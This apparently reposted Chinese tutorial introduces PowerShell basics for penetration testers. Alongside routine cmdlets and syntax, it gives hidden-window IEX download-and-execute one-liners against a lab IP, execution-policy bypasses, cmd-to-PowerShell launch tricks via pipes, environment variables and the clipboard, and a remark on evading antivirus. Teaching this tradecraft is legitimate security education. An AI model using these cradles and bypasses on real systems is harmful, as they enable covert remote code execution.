Powershell基礎(chǔ)
Powershell簡(jiǎn)介
什么是 Windows PowerShell
Windows PowerShell 是 Microsoft 創(chuàng)建的基于任務(wù)的自動(dòng)化命令行Shell和相關(guān)腳本語(yǔ)言,基于 .NET 框架。
是Microsoft的新Shell,它將舊的命令提示符(CMD)功能與具有內(nèi)置系統(tǒng)管理功能的新腳本指令集結(jié)合在一起。
用于控制和自動(dòng)化管理Windows操作系統(tǒng)和運(yùn)行在操作系統(tǒng)上的應(yīng)用。
被廣泛用于滲透測(cè)試等方面,在不需要寫入磁盤的情況下執(zhí)行命令,也可以逃避 Anti-Virus 檢測(cè)。
Windows PowerShell 中的命令稱為 cmdlet ,發(fā)音為“ command-lets ”,其中每個(gè) cmdlet 代表特定的功能或基于任務(wù)的腳本。
Powershell 默認(rèn)安裝在Win7及以后的系統(tǒng)上。
操作系統(tǒng)信任
提供Windows操作系統(tǒng)的幾乎一切訪問(wèn)權(quán)限
Windows PowerShell 集成腳本環(huán)境(ISE)
為什么使用 Windows PowerShell
它既是腳本語(yǔ)言,又是命令行Shell。它可以與不同數(shù)量的技術(shù)進(jìn)行交互。
Windows PowerShell允許完全訪問(wèn).NET框架中的所有類型。PowerShell是基于對(duì)象的。
Microsoft為各種產(chǎn)品設(shè)計(jì)的GUI的許多接口是PowerShell的前端接口。
它比運(yùn)行VBScript或其他腳本語(yǔ)言更安全。
通過(guò)組合多個(gè)命令和編寫腳本,它可以更有效地執(zhí)行重復(fù)性任務(wù)。假設(shè)系統(tǒng)管理員希望創(chuàng)建數(shù)百個(gè)活動(dòng)目錄用戶,那么他只能借助腳本中放置的某些 PowerShell cmdlet 來(lái)實(shí)現(xiàn)此目的。
使用PowerShell的簡(jiǎn)單cmdlet可以在一秒鐘內(nèi)完成許多復(fù)雜且耗時(shí)的配置和任務(wù)。
如何啟動(dòng) Windows PowerShell
所有最新版本的 Windows 中都可以使用 PowerShell 。
我們需要按照給定的步驟啟動(dòng) PowerShell :搜索 Windows PowerShell 。選擇并單擊。 PowerShell窗口將打開(kāi)。
PowerShell和Cmd命令提示符的區(qū)別
PowerShell
1、它是基于.NET框架的基于任務(wù)的自動(dòng)化命令行
界面和關(guān)聯(lián)的腳本語(yǔ)言。
2、它可以解釋批處理和PowerShell命令。
3、它用于控制和自動(dòng)化Windows服務(wù)器上的應(yīng)用
程序和Windows操作系統(tǒng)。
4、PowerShell生成的輸出不僅是字符流,而且是
對(duì)象的集合。
5、它既是Shell程序又是腳本編制環(huán)境,它支持創(chuàng)
建用于管理Windows操作系統(tǒng)的大文件。
cmd
1、它是Microsoft Windows操作系統(tǒng)的默認(rèn)
命令行解釋器。
2、它只能解釋批處理命令。
3、它用于在控制臺(tái)上執(zhí)行給定的命令,可用
于調(diào)試問(wèn)題。
4、命令提示符生成的輸出只是字符流(文本)。
5、它只是一個(gè)shell系統(tǒng),它允許用戶僅執(zhí)行
簡(jiǎn)單和基本的腳本來(lái)執(zhí)行批處理文件。
管理員運(yùn)行 PowerShell
在Windows操作系統(tǒng)中,有五種方法可以以管理員身份運(yùn)行PowerShell:
1、使用運(yùn)行窗口(對(duì)于所有版本的Windows),以管理員身份運(yùn)行PowerShell。
2、使用Cortana搜索欄(對(duì)于Windows 10)以管理員身份運(yùn)行PowerShell。
3、在命令提示符下以管理員身份運(yùn)行PowerShell。
4、從任務(wù)管理器以管理員身份運(yùn)行PowerShell。
5、從“開(kāi)始”菜單以管理員身份運(yùn)行PowerShell。
Windows PowerShell ISE
Microsoft Windows PowerShell ISE 是基于圖形用戶界面的應(yīng)用程序,并且是Windows PowerShell的默認(rèn)編輯器。
ISE代表集成腳本環(huán)境。它是一個(gè)界面,我們可以在這個(gè)界面中運(yùn)行命令以及編寫,測(cè)試和調(diào)試PowerShell腳本,而無(wú)需在命令行界面中編寫所有命令。
集成腳本環(huán)境(ISE)提供選項(xiàng)卡補(bǔ)全,多行編輯,語(yǔ)法著色,上下文相關(guān)幫助,選擇性執(zhí)行以及對(duì)從右到左語(yǔ)言的支持。
PowerShell的ISE窗口包含以下三個(gè)窗格:
腳本窗格:此窗格允許用戶創(chuàng)建和運(yùn)行腳本。 用戶可以在腳本窗格中輕松打開(kāi),編輯和運(yùn)行現(xiàn)有腳本。
輸出窗格:此窗格顯示腳本的輸出以及運(yùn)行的命令。還可以清除并復(fù)制“輸出”窗格中的內(nèi)容。
命令窗格:此窗格允許用戶編寫命令。在命令窗格中輕松執(zhí)行單行或多行命令。
創(chuàng)建并運(yùn)行腳本
文本編輯器創(chuàng)建腳本
打開(kāi)任意文本編輯器,寫入測(cè)試腳本內(nèi)容:
echo "Hello world"
保存文件名為 test.ps1,雙擊即可運(yùn)行!
集成腳本環(huán)境創(chuàng)建腳本
打開(kāi) Windows PowerShell ISE ,新建一個(gè)空文件,寫入要執(zhí)行的腳本內(nèi)容,保存文件名為test.ps1
菜單欄點(diǎn)擊運(yùn)行,或快捷鍵 F5 運(yùn)行腳本
加載執(zhí)行本地腳本
powershell -f test.ps1 #需要指定路徑
加載執(zhí)行遠(yuǎn)程腳本
Powershell 遠(yuǎn)程下載代碼腳本執(zhí)行
powershell -c "Invoke-Expression (New-Object
System.Net.WebClient).DownloadString('https://192.168.88.128:80/test.ps1')"
Invoke-Expression(IEX的別名):用來(lái)把字符串當(dāng)作命令執(zhí)行。
WindowStyle Hidden(-w Hidden):隱藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不為用戶提供交互的提示。
NoProfile(-NoP):PowerShell控制臺(tái)不加載當(dāng)前用戶的配置文件。
Noexit(-Noe):執(zhí)行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串編碼,避免一些解析問(wèn)題
WebClient 類:提供用于將數(shù)據(jù)發(fā)送到由 URI 標(biāo)識(shí)的資源以及從這樣的資源接收數(shù)據(jù)的常用方法。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient?view=net-6.0
DownloadString 方法:以 String 形式下載請(qǐng)求的資源。 可以以包含 URI 的 String 或 Uri 的形式指定要下載的資源。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadstring?view=net-6.0
腳本執(zhí)行策略
在計(jì)算機(jī)系統(tǒng)中啟動(dòng)PowerShell時(shí),默認(rèn)執(zhí)行策略不允許我們執(zhí)行或運(yùn)行腳本。
查看當(dāng)前執(zhí)行策略
Get-ExecutionPolicy
獲取影響當(dāng)前會(huì)話的所有執(zhí)行策略,并按優(yōu)先順序顯示它們
Get-ExecutionPolicy -List
將執(zhí)行策略設(shè)置為 Bypass
Set-ExecutionPolicy Bypass
#需要使用管理員權(quán)限啟動(dòng)power shell
對(duì)特定的用戶執(zhí)行策略設(shè)置
Set-ExecutionPolicy Unrestricted -Scope LocalMachine
詳細(xì)查看: https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3
PowerShell中可以設(shè)置以下類型的執(zhí)行策略:
名稱 | 說(shuō)明 |
---|---|
AllSigned | AllSigned 允許執(zhí)行所有具有數(shù)字簽名的腳本。 |
Bypass | 不阻止任何操作,并且沒(méi)有任何警告或提示。 |
Default | 設(shè)置默認(rèn)執(zhí)行策略。Restricted 適用于 Windows 客戶端。為 Windows 服務(wù)器遠(yuǎn)程簽名 |
RemoteSigned | 允許執(zhí)行具有數(shù)字簽名的通過(guò)網(wǎng)絡(luò)下載的腳本;本地創(chuàng)建的腳本不要求腳本具有數(shù)字簽名,可以直接執(zhí)行。 |
Restricted | 受限制的,可以執(zhí)行單個(gè)的命令,但不能執(zhí)行腳本,執(zhí)行就會(huì)報(bào)錯(cuò),Windows8,Windows 8.1,Windows Server 2012中默認(rèn)策略。 |
Undefined | Undefined 表示沒(méi)有設(shè)置腳本策略。當(dāng)然此時(shí)會(huì)發(fā)生繼承或應(yīng)用默認(rèn)的腳本策略。 |
Unrestricted | 允許運(yùn)行未簽名的腳本。從網(wǎng)絡(luò)上下載的腳本,在運(yùn)行前會(huì)進(jìn)行安全性提示。需要確認(rèn)是否執(zhí)行腳本。 |
Bypass 最為常用
繞過(guò)執(zhí)行策略
本地讀取然后通過(guò)管道符運(yùn)行
powershell Get-Content C:\Users\xxxxx\Desktop\powershell\test.ps1 | powershell -
遠(yuǎn)程下載并通過(guò)IEX運(yùn)行腳本
powershell -w hidden "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.88.128:80/test.ps1')"
Bypass執(zhí)行策略繞過(guò)
powershell -executionpolicy bypass -f C:\Users\xxx\Desktop\powershell\test.ps1
Unrestricted執(zhí)行策略
powershell -executionpolicy unrestricted -f C:\Users\xxxx\Desktop\powershell\test.ps1
PowerShell注釋
單行注釋
單行注釋是在每行的開(kāi)頭鍵入井號(hào) # 的注釋。 # 符號(hào)右邊的所有內(nèi)容都將被忽略。 如果在腳本中編寫多行,則必須在每行的開(kāi)頭使用井號(hào) # 符號(hào)。
# 單行注釋.............
多行注釋
要注釋多行,請(qǐng)將 <# 符號(hào)放在第一行的開(kāi)頭,將 #> 符號(hào)放在最后一行的末尾。
<# 多行注釋.........
多行注釋.........
多行注釋....................#>
PowerShell Cmdlet
Cmdlets 是 PowerShell 的非常重要的內(nèi)部命令集。
Cmdlet 發(fā)音為” command-lets ”,它是在 PowerShell 環(huán)境中使用的輕量級(jí)命令。 這些是在PowerShell環(huán)境中實(shí)現(xiàn)特殊功能的特殊命令。
Cmdlet 遵循“動(dòng)詞-名詞”模式,例如: set-childItem
Cmdlet 是以 .NET 類實(shí)例形式存在的命令。 Cmdlets 可以用任何 .NET 語(yǔ)言來(lái)編寫,也可以用PowerShell 腳本語(yǔ)言來(lái)編寫。
它并不是簡(jiǎn)單的可執(zhí)行文件,它有很多屬性,這些屬性用來(lái)指定輸入?yún)?shù)或者使用管道來(lái)管理重定向。我們可以通過(guò)輸入 Get-Command 可以顯示可用的 Cmdlets 命令。
Get-Command -CommandType Cmdlet
常用Cmdlet命令
查看 powershell 版本
$PSVersionTable
#別名 Get-Host
查看當(dāng)前環(huán)境變量
Get-ChildItem env:
#別名gci ls dir
啟動(dòng)指定程序
Start-Process calc.exe
saps explorer.exe
#別名 saps start
獲取指定進(jìn)程信息
Get-Process
Get-Process explorer
#別名 gps ps
獲取文件信息
Get-Item 1.txt
#別名 gi
復(fù)制文件
Copy-Item 1.txt 2.txt
#別名 cpi cp copy
移動(dòng)文件
Move-Item 1.txt 2.txt
#別名 mi mv move
獲取指定服務(wù)信息
Get-Service -Name Everything
獲取文件Hash
Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt
設(shè)置文本內(nèi)容
Set-Content 1.txt -Value "hello, word"
#別名 sc
刪除文件的內(nèi)容,但不刪除該文件
Clear-Content 1.txt
獲取當(dāng)前目錄
Get-Location
#別名gl pwd
查看別名
Get-Alias -name dir
基本語(yǔ)法
管道符
| #將一個(gè)命令的輸出作為另一個(gè)命令的輸入
分號(hào)
; #分號(hào)用來(lái)連續(xù)執(zhí)行系統(tǒng)命令
調(diào)用操作符
& ##調(diào)用操作符,它允許你執(zhí)行命令,腳本或函數(shù)
輸出單雙引號(hào)
""""
# 輸出雙引號(hào)
''''
# 輸出單引號(hào)
運(yùn)輸符
> #將輸出保存到指定文件中(用法:Get-Process > output.txt)
>> #將腳本的輸出追加到指定文件中(用法:test.ps1 >> output.txt)
2> #將錯(cuò)誤輸出到指定文件中(Get-Porcess none 2> Errors.txt)
2>> #將錯(cuò)誤追加到指定文件中(Get-Process none 2>> logs-Errors.txt)
-eq #等于運(yùn)算符(用法:$var1 –eq $var2,返回真或假)
-gt #大于運(yùn)算符(用法:$var1 –gt $var2,返回真或假)
-match #匹配運(yùn)算符,搜索字符串是否在文中出現(xiàn)(用法:$Text –match $string,返回真或假)
-replace #替換字符串(用法:$Text –replace 被替換的字符,替換的字符,返回真或假)
-in #測(cè)試一個(gè)字符或數(shù)字是否出現(xiàn)在文本中或列表中,聲明列表直接使用()
變量
變量都是以 $ 開(kāi)頭
$w = "hello world" # 變量賦值
$w # 訪問(wèn)變量
數(shù)組
$a = 'value1','value2','value3' # 創(chuàng)建數(shù)組
$a[0] # 訪問(wèn)數(shù)組第一個(gè)元素
$a = @() # 空數(shù)組
$a = 1,'two',(get-date)
語(yǔ)句
條件語(yǔ)句
if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}
循環(huán)語(yǔ)句
while() {}
Do {} While()
For(;;;) {}
Cmd啟動(dòng)Powershell
常規(guī)方法
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
管道輸入流
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
環(huán)境變量
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::GetEnvironmentVariable('cmd','Process'));"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&&powershell IEX ((Get-ChildItem env:cmd).Value)"
從粘貼板執(zhí)行
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void]
[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX
([System.Windows.Forms.Clipboard]::GetText())"
bat腳本執(zhí)行
@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause
#不想有'請(qǐng)按任意鍵繼續(xù)...' 可以去掉pause
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-782504.html
[未完待續(xù),后面會(huì)更新CobaltStrikePowerShell加載器以及PowerSploit后滲透框架…]文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-782504.html
到了這里,關(guān)于Powershell滲透框架的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!